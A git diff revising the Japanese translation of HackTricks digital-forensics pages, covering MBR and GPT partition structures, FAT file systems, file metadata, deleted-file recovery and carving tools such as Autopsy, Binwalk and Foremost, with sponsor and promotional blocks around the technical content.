-![](<../../../.gitbook/assets/image (219).png>) +![](<../../../.gitbook/assets/image (142).png>) -![](<../../../.gitbook/assets/image (218) (1).png>) +![](<../../../.gitbook/assets/image (610).png>) -とにかく、Visual Studioはダンプの深い解析を行うのに最適なツールではありません。 +とにかく、Visual Studioはダンプの深い解析を行うための最適なツールではありません。 -**IDA**または**Radare**を使用して、ダンプを詳細に検査します。 +**IDA**または**Radare**を使用して、それを**詳細に**検査してください。 + + + + + +[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 + +{% embed url="https://www.rootedcon.com/" %} + + + +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ ! + +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 +* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** + + diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md index ad2621a49..aa0996e2d 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/README.md @@ -1,16 +1,16 @@ -# Partitions/File Systems/Carving +# パーティション/ファイルシステム/カービング htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! -HackTricksをサポートする他の方法: +HackTricksをサポートする他の方法: * **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションを見つける -* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦で@hacktricks\_live**をフォローする -* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する +* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける +* **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する +* **ハッキングトリックを共有するには、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください** @@ -19,138 +19,135 @@ HackTricksをサポートする他の方法: ハードドライブまたは**SSDディスクには、物理的にデータを分離するための異なるパーティションが含まれて**いる可能性があります。\ ディスクの**最小**単位は**セクタ**です(通常、512Bで構成されています)。したがって、各パーティションのサイズはそのサイズの倍数である必要があります。 -### MBR(Master Boot Record) +### MBR(マスターブートレコード) -これは、**ブートコードの446Bの後のディスクの最初のセクタ**に割り当てられます。このセクタは、PCにパーティションをどこからマウントすべきかを示すために不可欠です。\ -最大で**4つのパーティション**(最大で**1つだけがアクティブ/ブート可能**)を許可します。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクタの最後のバイトは、ブートレコードの署名**0x55AA**です。1つのパーティションだけがアクティブにマークされます。\ +これは、**ブートコードの446Bの後のディスクの最初のセクタに割り当てられて**います。このセクタは、PCにパーティションをどこからどのようにマウントすべきかを示すために不可欠です。\ +最大で**4つのパーティション**を許可します(**最大で1つ**がアクティブ/**ブート可能**)。ただし、より多くのパーティションが必要な場合は、**拡張パーティション**を使用できます。この最初のセクタの最後のバイトは、ブートレコードの署名**0x55AA**です。1つのパーティションだけがアクティブにマークされることができます。\ MBRは**最大2.2TB**を許可します。 -![](<../../../.gitbook/assets/image (489).png>) +![](<../../../.gitbook/assets/image (350).png>) -![](<../../../.gitbook/assets/image (490).png>) +![](<../../../.gitbook/assets/image (304).png>) -MBRの**バイト440から443**には、**Windowsディスクシグネチャ**(Windowsを使用している場合)が含まれています。ハードディスクの論理ドライブレターは、Windowsディスクシグネチャに依存します。この署名を変更すると、Windowsの起動が阻害される可能性があります(ツール:[**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 +MBRの**バイト440から443**には、**Windowsディスクシグネチャ**(Windowsを使用している場合)が含まれています。ハードディスクの論理ドライブレターは、Windowsディスクシグネチャに依存します。このシグネチャを変更すると、Windowsの起動が阻害される可能性があります(ツール: [**Active Disk Editor**](https://www.disk-editor.org/index.html)**)**。 -![](<../../../.gitbook/assets/image (493).png>) +![](<../../../.gitbook/assets/image (310).png>) **フォーマット** -| オフセット | 長さ | アイテム | -| ----------- | ---------- | ------------ | -| 0 (0x00) | 446(0x1BE) | ブートコード | -| 446 (0x1BE) | 16 (0x10) | 第1パーティション | -| 462 (0x1CE) | 16 (0x10) | 第2パーティション | -| 478 (0x1DE) | 16 (0x10) | 第3パーティション | -| 494 (0x1EE) | 16 (0x10) | 第4パーティション | -| 510 (0x1FE) | 2 (0x2) | 署名 0x55 0xAA | +| オフセット | 長さ | アイテム | +| ----------- | ---------- | ------------------- | +| 0 (0x00) | 446(0x1BE) | ブートコード | +| 446 (0x1BE) | 16 (0x10) | 最初のパーティション | +| 462 (0x1CE) | 16 (0x10) | 2番目のパーティション | +| 478 (0x1DE) | 16 (0x10) | 3番目のパーティション | +| 494 (0x1EE) | 16 (0x10) | 4番目のパーティション | +| 510 (0x1FE) | 2 (0x2) | シグネチャ 0x55 0xAA | **パーティションレコードフォーマット** -| オフセット | 長さ | アイテム | -| --------- | -------- | ------------------------------ | -| 0 (0x00) | 1 (0x01) | アクティブフラグ(0x80 = ブート可能) | -| 1 (0x01) | 1 (0x01) | 開始ヘッド | +| オフセット | 長さ | アイテム | +| --------- | -------- | ------------------------------------------------------ | +| 0 (0x00) | 1 (0x01) | アクティブフラグ(0x80 = ブート可能) | +| 1 (0x01) | 1 (0x01) | 開始ヘッド | | 2 (0x02) | 1 (0x01) | 開始セクタ(ビット0-5);シリンダーの上位ビット(6-7) | -| 3 (0x03) | 1 (0x01) | 開始シリンダーの下位8ビット | -| 4 (0x04) | 1 (0x01) | パーティションタイプコード(0x83 = Linux) | -| 5 (0x05) | 1 (0x01) | 終了ヘッド | -| 6 (0x06) | 1 (0x01) | 終了セクタ(ビット0-5);シリンダーの上位ビット(6-7) | -| 7 (0x07) | 1 (0x01) | 終了シリンダーの下位8ビット | -| 8 (0x08) | 4 (0x04) | パーティションの前のセクタ数(リトルエンディアン) | -| 12 (0x0C) | 4 (0x04) | パーティション内のセクタ数 | +| 3 (0x03) | 1 (0x01) | 開始シリンダーの下位8ビット | +| 4 (0x04) | 1 (0x01) | パーティションタイプコード(0x83 = Linux) | +| 5 (0x05) | 1 (0x01) | 終了ヘッド | +| 6 (0x06) | 1 (0x01) | 終了セクタ(ビット0-5);シリンダーの上位ビット(6-7) | +| 7 (0x07) | 1 (0x01) | 終了シリンダーの下位8ビット | +| 8 (0x08) | 4 (0x04) | パーティションの前のセクタ数(リトルエンディアン) | +| 12 (0x0C) | 4 (0x04) | パーティション内のセクタ数 | LinuxでMBRをマウントするには、まず開始オフセットを取得する必要があります(`fdisk`と`p`コマンドを使用できます) -![](https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20\(413\)%20\(3\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(12\).png) - -その後、次のコードを使用します。 +![](<../../../.gitbook/assets/image (413) (3) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) +その後、次のコードを使用します ```bash #Mount MBR in Linux mount -o ro,loop,offset= #63x512 = 32256Bytes mount -o ro,loop,offset=32256,noatime /path/to/image.dd /media/part/ ``` +**LBA (Logical block addressing)** -**LBA(Logical block addressing)** +**Logical block addressing** (**LBA**)は、コンピュータの記憶装置に保存されているデータのブロックの場所を指定するために使用される一般的なスキームです。一般的にはハードディスクドライブなどの二次記憶システムで使用されます。LBAは特にシンプルな線形アドレッシングスキームで、**ブロックは整数インデックスによって特定され**、最初のブロックはLBA 0、2番目はLBA 1、というようになります。 -**Logical block addressing**(**LBA**)は、コンピュータの記憶装置に保存されているデータのブロックの場所を指定するために使用される一般的なスキームです。一般的にはハードディスクドライブなどの二次記憶システムで使用されます。LBAは特にシンプルな線形アドレッシングスキームで、**ブロックは整数インデックスによって特定され**、最初のブロックはLBA 0、2番目はLBA 1、というようになります。 +### GPT (GUID Partition Table) -### GPT(GUID Partition Table) - -GUID Partition Table、通称GPTは、MBR(Master Boot Record)と比較して拡張機能が優れているために好まれています。GPTの特徴は以下の通りです: +GUID Partition Table、通称GPTは、MBR(Master Boot Record)と比較して拡張機能が優れているために好まれています。パーティションのための**グローバルに一意な識別子**を持つGPTは、以下の点で優れています: * **位置とサイズ**:GPTとMBRはどちらも**セクタ0**から開始します。ただし、GPTは**64ビット**で動作し、MBRの32ビットとは異なります。 -* **パーティション制限**:GPTはWindowsシステムで最大**128個のパーティション**をサポートし、**9.4ZB**のデータを収容できます。 +* **パーティションの制限**:GPTはWindowsシステムで最大**128個のパーティション**をサポートし、**9.4ZB**のデータを収容できます。 * **パーティション名**:最大36文字のUnicode文字でパーティションに名前を付ける機能を提供します。 -**データの強靱性と回復**: +**データの強靱さと回復**: -* **冗長性**:MBRとは異なり、GPTはパーティショニングとブートデータを単一の場所に制限しません。これらのデータをディスク全体に複製することで、データの整合性と強靱性が向上します。 -* **巡回冗長性チェック(CRC)**:GPTはCRCを使用してデータの整合性を確保します。データの破損を積極的に監視し、検出された場合は別のディスク位置から破損したデータを回復しようとします。 +* **冗長性**:MBRとは異なり、GPTはパーティション分割とブートデータを単一の場所に制限しません。これにより、データの整合性と強靱性が向上します。 +* **巡回冗長性チェック(CRC)**:GPTはデータの整合性を確保するためにCRCを使用します。データの破損を積極的に監視し、検出された場合は別のディスク位置から破損したデータを回復しようとします。 **保護MBR(LBA0)**: -* GPTは保護MBRを介して後方互換性を維持します。この機能は従来のMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐように設計されており、それによりGPTフォーマットされたディスク上のデータの整合性を保護します。 +* GPTは保護MBRを介して後方互換性を維持します。この機能はレガシーMBRスペースに存在しますが、古いMBRベースのユーティリティが誤ってGPTディスクを上書きするのを防ぐよう設計されており、それによりGPTフォーマットされたディスク上のデータの整合性を保護します。 -![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (491).png>) +![https://upload.wikimedia.org/wikipedia/commons/thumb/0/07/GUID\_Partition\_Table\_Scheme.svg/800px-GUID\_Partition\_Table\_Scheme.svg.png](<../../../.gitbook/assets/image (1062).png>) **ハイブリッドMBR(LBA 0 + GPT)** [Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) -BIOSサービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクタは**ブートローダー**コードの最初のステージを格納するために引き続き使用される場合がありますが、**GPTパーティション**を認識するように**変更**されます。 MBR内のブートローダーは、セクタサイズが512バイトであるとは想定してはいけません。 +EFIではなくBIOSサービスを介して**GPTベースのブート**をサポートするオペレーティングシステムでは、最初のセクタは**ブートローダー**コードの最初のステージを格納するために引き続き使用されるかもしれませんが、**GPTパーティション**を認識するように**変更**されます。 MBRのブートローダーは、セクタサイズが512バイトであるとは想定してはいけません。 **パーティションテーブルヘッダー(LBA 1)** [Wikipediaより](https://en.wikipedia.org/wiki/GUID\_Partition\_Table) -パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズを定義します(テーブル内のオフセット80と84)。 +パーティションテーブルヘッダーはディスク上の使用可能なブロックを定義します。また、パーティションテーブルを構成するパーティションエントリの数とサイズも定義します(テーブル内のオフセット80および84)。 -| オフセット | 長さ | 内容 | -| --------- | ------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| 0 (0x00) | 8 バイト | シグネチャ(リトルエンディアンマシン上の "EFI PART"、45h 46h 49h 20h 50h 41h 52h 54h または 0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)) | -| 8 (0x08) | 4 バイト | UEFI 2.8用のリビジョン1.0(00h 00h 01h 00h) | -| 12 (0x0C) | 4 バイト | ヘッダーサイズ(リトルエンディアンでのバイト単位、通常は5Ch 00h 00h 00h または 92バイト) | -| 16 (0x10) | 4 バイト | ヘッダーのCRC32(オフセット+0からヘッダーサイズまで)のリトルエンディアンで、計算中にこのフィールドはゼロになります。 | -| 20 (0x14) | 4 バイト | 予約済み;ゼロである必要があります | -| 24 (0x18) | 8 バイト | 現在のLBA(このヘッダーコピーの場所) | -| 32 (0x20) | 8 バイト | バックアップLBA(他のヘッダーコピーの場所) | -| 40 (0x28) | 8 バイト | パーティションの最初の使用可能なLBA(プライマリパーティションテーブルの最後のLBA + 1) | -| 48 (0x30) | 8 バイト | 最後の使用可能なLBA(セカンダリパーティションテーブルの最初のLBA − 1) | -| 56 (0x38) | 16 バイト | ミックスエンディアンのディスクGUID | -| 72 (0x48) | 8 バイト | パーティションエントリの配列の開始LBA(プライマリコピーでは常に2) | -| 80 (0x50) | 4 バイト | 配列内のパーティションエントリの数 | -| 84 (0x54) | 4 バイト | 単一のパーティションエントリのサイズ(通常は80hまたは128) | -| 88 (0x58) | 4 バイト | パーティションエントリ配列のCRC32(リトルエンディアン) | -| 92 (0x5C) | \* | 残りのブロックにはゼロである必要があります(セクタサイズが512バイトの場合は420バイトですが、より大きなセクタサイズの場合はそれ以上になる可能性があります) | +| オフセット | 長さ | 内容 | +| --------- | ---- | ----------------------------------------------------------------------------------------------------------- | +| 0 (0x00) | 8バイト | シグネチャ(リトルエンディアンマシン上の "EFI PART"、45h 46h 49h 20h 50h 41h 52h 54hまたは0x5452415020494645ULL[ ](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#cite\_note-8)) | +| 8 (0x08) | 4バイト | UEFI 2.8用のリビジョン1.0(00h 00h 01h 00h) | +| 12 (0x0C) | 4バイト | ヘッダーサイズ(リトルエンディアンでのバイト単位、通常は5Ch 00h 00h 00hまたは92バイト) | +| 16 (0x10) | 4バイト | ヘッダーのCRC32(オフセット+0からヘッダーサイズまで)のリトルエンディアンでの値。このフィールドは計算中にゼロになります。 | +| 20 (0x14) | 4バイト | 予約済み;ゼロでなければなりません | +| 24 (0x18) | 8バイト | 現在のLBA(このヘッダーコピーの場所) | +| 32 (0x20) | 8バイト | バックアップLBA(他のヘッダーコピーの場所) | +| 40 (0x28) | 8バイト | パーティションの最初の使用可能なLBA(プライマリパーティションテーブルの最後のLBA + 1) | +| 48 (0x30) | 8バイト | 最後の使用可能なLBA(セカンダリパーティションテーブルの最初のLBA − 1) | +| 56 (0x38) | 16バイト | ミックスエンディアンのディスクGUID | +| 72 (0x48) | 8バイト | パーティションエントリの配列の開始LBA(プライマリコピーでは常に2) | +| 80 (0x50) | 4バイト | 配列内のパーティションエントリの数 | +| 84 (0x54) | 4バイト | 単一のパーティションエントリのサイズ(通常は80hまたは128) | +| 88 (0x58) | 4バイト | パーティションエントリ配列のCRC32(リトルエンディアン) | +| 92 (0x5C) | \* | 残りのブロック用にゼロでなければならない予約領域(セクタサイズが512バイトの場合は420バイトですが、より大きなセクタサイズの場合はそれ以上になる可能性があります) | **パーティションエントリ(LBA 2–33)** -| GUIDパーティションエントリ形式 | | | -| ----------------- | ------ | --------------------------------------------------------------------------------------------------------- | -| オフセット | 長さ | 内容 | -| 0 (0x00) | 16 バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(ミックスエンディアン) | -| 16 (0x10) | 16 バイト | ユニークなパーティションGUID(ミックスエンディアン) | -| 32 (0x20) | 8 バイト | 最初のLBA([リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian)) | -| 40 (0x28) | 8 バイト | 最後のLBA(包括的、通常は奇数) | -| 48 (0x30) | 8 バイト | 属性フラグ(例:ビット60は読み取り専用を示す) | -| 56 (0x38) | 72 バイト | パーティション名(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット) | +| GUIDパーティションエントリフォーマット | | | +| --------------------------- | -------- | ----------------------------------------------------------------------------------------------------------------- | +| オフセット | 長さ | 内容 | +| 0 (0x00) | 16バイト | [パーティションタイプGUID](https://en.wikipedia.org/wiki/GUID\_Partition\_Table#Partition\_type\_GUIDs)(ミックスエンディアン) | +| 16 (0x10) | 16バイト | ユニークなパーティションGUID(ミックスエンディアン) | +| 32 (0x20) | 8バイト | 最初のLBA([リトルエンディアン](https://en.wikipedia.org/wiki/Little\_endian)) | +| 40 (0x28) | 8バイト | 最後のLBA(包括的、通常は奇数) | +| 48 (0x30) | 8バイト | 属性フラグ(例:ビット60は読み取り専用を示す) | +| 56 (0x38) | 72バイト | パーティション名(36 [UTF-16](https://en.wikipedia.org/wiki/UTF-16)LEコードユニット) | **パーティションタイプ** -![](<../../../.gitbook/assets/image (492).png>) +![](<../../../.gitbook/assets/image (83).png>) -詳細なパーティションタイプは[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)で確認できます。 +[https://en.wikipedia.org/wiki/GUID\_Partition\_Table](https://en.wikipedia.org/wiki/GUID\_Partition\_Table)にさらに多くのパーティションタイプがあります ### 検査 [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクタを検査できます**。次の画像では、**セクタ0**に**MBR**が検出され、解釈されています: -![](<../../../.gitbook/assets/image (494).png>) +![](<../../../.gitbook/assets/image (354).png>) もし**MBRの代わりにGPTテーブル**があれば、**セクタ1**に署名 _EFI PART_ が表示されるはずです(前の画像では空白です)。 - ## ファイルシステム ### Windowsファイルシステムリスト @@ -163,15 +160,15 @@ BIOSサービスを介して**GPTベースのブート**をサポートするオ ### FAT -**FAT(File Allocation Table)ファイルシステムは、その中核部品であるファイル割り当てテーブルを中心に設計されており、ボリュームの先頭に配置されています。このシステムは、テーブルの2つのコピー**を維持することでデータを保護し、1つが破損してもデータの整合性を確保します。テーブルとルートフォルダは、システムの起動プロセスにとって重要な**固定された場所**にある必要があります。 +**FAT(File Allocation Table)**ファイルシステムは、その中核部品であるファイル割り当てテーブルを中心に設計されています。このシステムは、テーブルの**2つのコピー**を維持することでデータの保護を行い、1つが破損してもデータの整合性を確保します。テーブルはルートフォルダとともに**固定された場所**になければならず、システムの起動プロセスには重要です。 ファイルシステムの基本的な記憶単位は、通常512Bの**クラスタ**で、複数のセクタから構成されています。FATは次のバージョンを経て進化してきました: * **FAT12**は、12ビットのクラスタアドレスをサポートし、最大4078クラスタ(UNIXを含めると4084クラスタ)を処理します。 -* **FAT16**は、16ビットのアドレスに拡張され、最大65,517クラスタを収容します。 -* **FAT32**は、32ビットのアドレスをさらに進化させ、1つのボリュームあたり最大268,435,456クラスタを可能にします。 +* **FAT16**は、16ビットのアドレスをサポートし、最大65,517クラスタを収容します。 +* **FAT32**は、32ビットのアドレスをさらに進化させ、1つのボリュームあたり268,435,456クラスタを可能にします。 -FATバージョン全般にわたる重要な制限事項は、ファイルサイズの格納に使用される32ビットフィールドによる**4GBの最大ファイルサイズ**です。 +FATバージョン全体での重要な制限事項は、ファイルサイズの格納に使用される32ビットフィールドによって課せられる**4GBの最大ファイルサイズ**です。 特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには、次のものが含まれます: @@ -187,22 +184,22 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ ## **メタデータ** -一部のファイルにはメタデータが含まれています。この情報はファイルの内容についてのもので、ファイルタイプによっては興味深い情報が含まれることがあります: +一部のファイルにはメタデータが含まれています。この情報はファイルの内容についてであり、ファイルタイプによっては興味深い情報が含まれることがあります: * タイトル * 使用されたMS Officeバージョン -* 作成および最終変更日時 +* 作成および最終変更日 * カメラのモデル * GPS座標 * 画像情報 -ファイルのメタデータを取得するために[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用できます。 +[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用してファイルのメタデータを取得できます。 ## **削除されたファイルの回復** ### ログされた削除されたファイル -以前に見られたように、ファイルが「削除」された後もファイルが保存されている場所がいくつかあります。通常、ファイルシステムからファイルを削除すると、ファイルは削除されたとマークされますが、データは触れられません。その後、ファイルの登録(MFTなど)を調査し、削除されたファイルを見つけることが可能です。 +以前に見られたように、ファイルが「削除」された後もファイルが保存されている場所がいくつかあります。これは通常、ファイルシステムからファイルを削除すると、ファイルは削除されたとマークされますが、データは触れられません。その後、ファイルの登録(MFTなど)を調査し、削除されたファイルを見つけることが可能です。 また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存するため、ファイルを回復したり可能な限り多くの情報を取得するためにそれらを使用することができます。 @@ -214,7 +211,7 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ **ファイルカービング**は、データの塊からファイルを見つけようとする技術です。このようなツールが機能する主な方法には、**ファイルタイプのヘッダーとフッター**に基づく方法、ファイルタイプの**構造**に基づく方法、および**コンテンツ**自体に基づく方法があります。 -この技術は、**断片化されたファイルを取得することはできません**。ファイルが**連続したセクタに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。 +この技術は**断片化されたファイルを取得することはできません**ので注意してください。ファイルが**連続したセクタに保存されていない**場合、この技術ではそれを見つけることができないか、少なくともその一部を見つけることができません。 ファイルカービングには、検索したいファイルタイプを示すために使用できるいくつかのツールがあります。 @@ -224,7 +221,7 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ ### データストリーム**カービング** -データストリームカービングは、ファイルカービングと似ていますが、**完全なファイルを探すのではなく、興味深い情報の断片を探します**。\ +データストリームカービングは、ファイルカービングと似ていますが、**完全なファイルを探すのではなく、興味深い断片**の情報を探します。\ たとえば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。 {% content-ref url="file-data-carving-recovery-tools.md" %} @@ -233,8 +230,8 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ ### 安全な削除 -明らかに、ファイルを\*\*「安全に」削除し、それに関するログの一部を削除する方法**があります。たとえば、ファイルの内容を何度もジャンクデータで上書きし、その後、ファイルに関する**$MFT**および**$LOGFILE\*\*からのログを削除し、**ボリュームシャドウコピー**を削除することが可能です。\ -この操作を実行しても、ファイルの存在がまだログされている他の部分があるかもしれないことに注意してください。これは、フォレンジック専門家の仕事の一部です。 +明らかに、ファイルを**「安全に」削除し、それに関するログの一部を削除**する方法があります。たとえば、ファイルの内容を何度もジャンクデータで上書きし、その後、ファイルに関する**$MFT**および**$LOGFILE**からのログを削除し、**ボリュームシャドウコピーを削除**することが可能です。\ +そのアクションを実行しても、ファイルの存在がまだログされている部分が他にあるかもしれないことに注意してください。これはフォレンジック専門家の仕事の一部です。 ## 参考文献 diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md index ef6d8c08c..c8d1542ba 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -4,19 +4,19 @@ htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! -HackTricksをサポートする他の方法: +HackTricks をサポートする他の方法: -- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する -- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける -- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する -- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する +* **HackTricks で企業を宣伝**したい場合や **HackTricks をPDFでダウンロード**したい場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! +* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける +* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) を **フォロー** してください。 +* **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出してください。 **Try Hard Security Group** - + {% embed url="https://discord.gg/tryhardsecurity" %} @@ -24,15 +24,15 @@ HackTricksをサポートする他の方法: ## 彫刻と回復ツール -[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります +[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります。 ### Autopsy -フォレンジックで最も一般的に使用されるファイルをイメージから抽出するためのツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。 +画像からファイルを抽出するために最も一般的に使用されるツールは [**Autopsy**](https://www.autopsy.com/download/) です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけるようにします。Autopsy はディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません。 ### Binwalk -**Binwalk**はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt`を介してインストールでき、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。 +**Binwalk** はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt` を介してインストール可能で、そのソースは [GitHub](https://github.com/ReFirmLabs/binwalk) にあります。 **便利なコマンド**: ```bash @@ -43,7 +43,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file ``` ### Foremost -もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。Foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。 +もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。 foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントアウトしない場合、foremost はデフォルトで構成されたファイルタイプを検索します。 ```bash sudo apt-get install foremost foremost -v -i file.img -o output @@ -51,7 +51,7 @@ foremost -v -i file.img -o output ``` ### **Scalpel** 